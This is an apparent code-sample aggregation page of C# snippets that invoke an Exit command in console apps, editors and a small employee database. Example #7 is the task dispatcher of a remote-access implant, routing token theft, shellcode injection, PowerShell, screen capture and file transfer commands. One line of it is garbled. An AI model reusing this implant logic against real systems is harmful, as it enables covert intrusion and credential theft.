Пример #1
0
        new static void Main(string[] args)
        {
            AppBase.Program <AppSettings> .Main(args);

            Reload.Execute(ref AppSettings);

            while (true)
            {
                Console.Write("> ");
                var arg = Console.ReadLine().Split(' ');

                Parser.Default
                .ParseArguments <Exit, Login, Run, Reload, Print>(arg)
                .MapResult(
                    (Login opts) => Login.Execute(ref AppSettings, ref Updater, opts),
                    (Run opts) => Run.Execute(ref AppSettings, ref Updater, opts),
                    (Reload opts) => Reload.Execute(ref AppSettings, opts),
                    (Print opts) => Print.Execute(ref AppSettings, opts),
                    (Exit opts) => Exit.Execute(opts),
                    errs => 1);

                if (arg.Length == 1 && arg[0] == "exit")
                {
                    break;
                }
            }

            Exit.Execute();
        }
Пример #2
0
        new static void Main(string[] args)
        {
            AppBase.Program <AppSettings> .Main(args);

            Reload.Execute(ref AppSettings);

            while (true)
            {
                Console.Write("> ");
                var input = Console.ReadLine();
                var arg   = input.Contains(" ")
                    ? new string[] { input.Substring(0, input.IndexOf(" ")), input.Substring(input.IndexOf(" ") + 1) }
                    : new string[] { input };

                Parser.Default
                .ParseArguments <Login, CreateQuery, UpdateQuery, InsertQuery, DeleteQuery, Print, Reload, Exit>(arg)
                .MapResult(
                    (Login opts) => Login.Execute(ref AppSettings, ref Generator, opts),
                    (CreateQuery opts) => new CreateQuery().Execute(ref AppSettings, ref Generator, opts),
                    (UpdateQuery opts) => new UpdateQuery().Execute(ref AppSettings, ref Generator, opts),
                    (InsertQuery opts) => new InsertQuery().Execute(ref AppSettings, ref Generator, opts),
                    (DeleteQuery opts) => new DeleteQuery().Execute(ref AppSettings, ref Generator, opts),
                    (Print opts) => Print.Execute(ref AppSettings, opts),
                    (Reload opts) => Reload.Execute(ref AppSettings, opts),
                    (Exit opts) => Exit.Execute(opts),
                    errs => 1);

                if (arg.Length == 1 && arg[0] == "exit")
                {
                    break;
                }
            }

            Exit.Execute();
        }
Пример #3
0
 private void HandleExit(ConsoleKeyInfo c)
 {
     if (this.consoleBuffer.IsEmpty)
     {
         BuiltInCommand exit = new Exit();
         Console.WriteLine();
         exit.Execute(Enumerable.Empty <string>());
     }
     else if (this.consoleBuffer.CursorPosition.X < this.consoleBuffer.Size.X)
     {
         this.HandleDelete(c);
     }
 }
Пример #4
0
        protected override bool ProcessCmdKey(ref Message msg, Keys keyData)
        {
            ICanvas canvas = this.editor.GetSelectedCanvas();

            switch (keyData)
            {
            case Keys.Control | Keys.Z:
                undo.Execute();
                break;

            case Keys.Control | Keys.Y:
                redo.Execute();
                break;

            case Keys.Control | Keys.C:
                copy.Execute();
                break;

            case Keys.Control | Keys.V:
                paste.Execute();
                break;

            case Keys.Delete:
                DeleteObject deleteCommand = new DeleteObject(canvas);
                deleteCommand.Execute();
                canvas.AddCommand(deleteCommand);
                break;

            case Keys.Control | Keys.Q:
                if (canvas != null)
                {
                    ICommand command = new Exit();
                    command.Execute();
                    canvas.Repaint();
                }
                break;

            case Keys.Control | Keys.S:
                if (canvas != null)
                {
                    ICommand command = new Save(canvas);
                    command.Execute();
                    canvas.Repaint();
                }
                break;
            }

            return(base.ProcessCmdKey(ref msg, keyData));
        }
        public string DispatchCommand(string[] command)
        {
            if (command[0].ToLower() == "addemployee" && command.Length == 4)
            {
                return(AddEmployee.Execute(command));
            }

            if (command[0].ToLower() == "setbirthday" && command.Length == 4)
            {
                return(SetBirthday.Execute(command));
            }

            if (command[0].ToLower() == "setaddress" && command.Length >= 3 && char.IsNumber(command[1], 0))
            {
                return(SetAddress.Execute(command));
            }

            if (command[0].ToLower() == "employeeinfo" && command.Length == 2)
            {
                return(EmployeeInfo.Execute(command));
            }

            if (command[0].ToLower() == "employeepersonalinfo" && command.Length == 2)
            {
                return(EmployeePersonalInfo.Execute(command));
            }

            if (command[0].ToLower() == "exit" && command.Length == 1)
            {
                return(Exit.Execute(command));
            }

            if (command[0].ToLower() == "setmanager" && command.Length == 3)
            {
                return(SetManager.Execute(command));
            }

            if (command[0].ToLower() == "managerinfo" && command.Length == 2)
            {
                return(ManagerInfo.Execute(command));
            }

            if (command[0].ToLower() == "listemployeesolderthan" && command.Length == 2)
            {
                return(ListEmployeesOlderThan.Execute(command));
            }

            return("Invalid Command");
        }
Пример #6
0
        public void OnDeleteWithoutSaveCommand(object param)
        {
            DiagramVM diag  = param as DiagramVM;
            int       index = Diagrams.IndexOf(diag);

            Diagrams.Remove(diag);
            if (diag.IsSelected && Diagrams.Count > 0)
            {
                if (Diagrams.Count == index)
                {
                    Diagrams[index - 1].IsSelected = true;
                }
                else if (Diagrams.Count > index)
                {
                    Diagrams[index].IsSelected = true;
                }
            }
            if (Diagrams.Count == 0)
            {
                Exit.Execute(null);
            }
        }
Пример #7
0
        /// <summary>
        /// Handle a new task.
        /// </summary>
        /// <param name="implant">The CaramelImplant we're handling a task for</param>
        public void DispatchTask(SCImplant implant)
        {
            if (this.command == "cd")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to change directory " + this.@params);
                ChangeDir.Execute(this);
            }
            else if (this.command == "download")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to send file " + this.@params);
                Download.Execute(this, implant);
            }
            else if (this.command == "execute_assembly")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to execute assembly " + this.@params);
                Tasks.ExecAssembly.Execute(this, implant);
            }
            else if (this.command == "exit")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to exit");
                Exit.Execute(this, implant);
            }
            else if (this.command == "jobs")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to list jobs");
                Jobs.Execute(this, implant);
            }
            else if (this.command == "jobkill")
            {
                Debug.WriteLine($"[-] DispatchTask - Tasked to kill job {this.@params}");
                Jobs.Execute(this, implant);
            }
            else if (this.command == "kill")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to kill PID " + this.@params);
                Kill.Execute(this);
            }
            else if (this.command == "ls")
            {
                string path = this.@params;
                Debug.WriteLine("[-] DispatchTask - Tasked to list directory " + path);
                DirectoryList.Execute(this, implant);
            }
            else if (this.command == "make_token")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to make a token for " + [email protected](' ')[0]);
                Token.Execute(this);
            }
            else if (this.command == "ps")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to list processes");
                ProcessList.Execute(this);
            }
            else if (this.command == "powershell")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to run powershell");
                Powershell.Execute(this);
            }
            else if (this.command == "rev2self")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to revert token");
                Token.Revert(this);
            }
            else if (this.command == "run")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to start process");
                Proc.Execute(this, implant);
            }
            else if (this.command == "screencapture")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to take screenshot.");
                ScreenCapture.Execute(this, implant);
            }
            else if (this.command == "shell")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to run shell command.");
                Proc.Execute(this, implant);
            }
            else if (this.command == "shinject")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to run shellcode.");
                Shellcode.Execute(this);
            }
            else if (this.command == "sleep")
            {
                try
                {
                    int sleep = Convert.ToInt32(this.@params);
                    Debug.WriteLine("[-] DispatchTask - Tasked to change sleep to: " + sleep);
                    implant.sleep = sleep * 1000;
                    this.status   = "complete";
                }
                catch
                {
                    Debug.WriteLine("[-] DispatchTask - ERROR sleep value provided was not int");
                    this.status  = "error";
                    this.message = "Please provide an integer value";
                }
            }
            else if (this.command == "spawn")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to spawn");
                Spawn.Execute(this);
            }
            else if (this.command == "steal_token")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to steal token");
                Token.Execute(this);
            }
            else if (this.command == "upload")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to get file from server");
                Upload.Execute(this, implant);
            }

            this.SendResult(implant);
        }
Пример #8
0
        static void Prompt()
        {
            // If the directory nor the files exist, create them
            if (!Directory.Exists(copyPath))
            {
                Directory.CreateDirectory(copyPath);
            }
            if (!File.Exists(copyPath + "\\copylist.tute"))
            {
                File.Create(copyPath + "\\copylist.tute").Close();
            }

            while (!done)
            {
                Console.Write($"#{line} ");
                string   command  = Console.ReadLine();
                string[] args     = command.Split(new[] { ' ' }, 2);
                string[] argsFull = command.Split(' ');    // Ask for a command, split it into two arrays, one where it only splits once and one when it constantly splits
                char[]   check    = args[0].ToCharArray(); // Convert the first argument of args into a char array
                switch (args[0])
                {
                case "/save":
                    var Save = new Save();
                    Save.ParseArgs(argsFull);
                    Save.Execute();
                    break;

                case "/load":
                    var Load = new Load();
                    Load.ParseArgs(argsFull);
                    Load.Execute();
                    break;

                case "/undo":
                    var Undo = new Undo();
                    Undo.Execute();
                    break;

                case "/redo":
                    var Redo = new Redo();
                    Redo.Execute();
                    break;

                case "/copy":
                    var Copy = new Copy();
                    Copy.ParseArgs(argsFull);
                    Copy.Execute();
                    break;

                case "/paste":
                    var Paste        = new Paste();
                    var PasteReplace = new PasteReplace();
                    if ((argsFull.Length == 3) && (argsFull[1] == "r")) // if there are 3 arguments and the second one is r
                    {
                        PasteReplace.ParseArgs(argsFull);
                        PasteReplace.Execute();
                    }
                    else if ((argsFull.Length == 2) && (argsFull[1] == "a")) // if there are two arguments and the second one is a
                    {
                        Paste.ParseArgs(argsFull);
                        Paste.Execute();
                    }
                    else
                    {
                        Console.WriteLine(argError);
                    }
                    break;

                case "/dis":
                    var Display = new Display();
                    Display.Execute();
                    break;

                case "/edit":
                    var Edit = new Edit();
                    Edit.ParseArgs(argsFull);
                    Edit.Execute();
                    break;

                case "/move":
                    var Move = new Move();
                    Move.ParseArgs(argsFull);
                    Move.Execute();
                    break;

                case "/del":
                    var Delete = new Delete();
                    Delete.ParseArgs(argsFull);
                    Delete.Execute();
                    break;

                case "/clear":
                    Console.Clear();
                    break;

                case "/exit":
                    var Exit = new Exit();
                    Exit.ParseArgs(args);
                    Exit.Execute();
                    break;

                default:
                    string fullCommand;                        // Initialize a full command string
                    if (args.Length > 1)                       // if args has more than one argument
                    {
                        fullCommand = args[0] + " " + args[1]; // the full command is the argument 0, plus a space, plus the rest
                    }
                    else
                    {
                        fullCommand = args[0]; // else its just the arg 0
                    }

                    if (check[0] == '/') // check if the char array made before has as its first letter a /
                    {
                        Console.WriteLine(syntaxError);
                    }
                    else
                    {
                        lines.Add(fullCommand); // add the command to the lines list
                        line++;                 // increment the lines counter
                    }
                    hasSaved = false;
                    break;
                }
            }
        }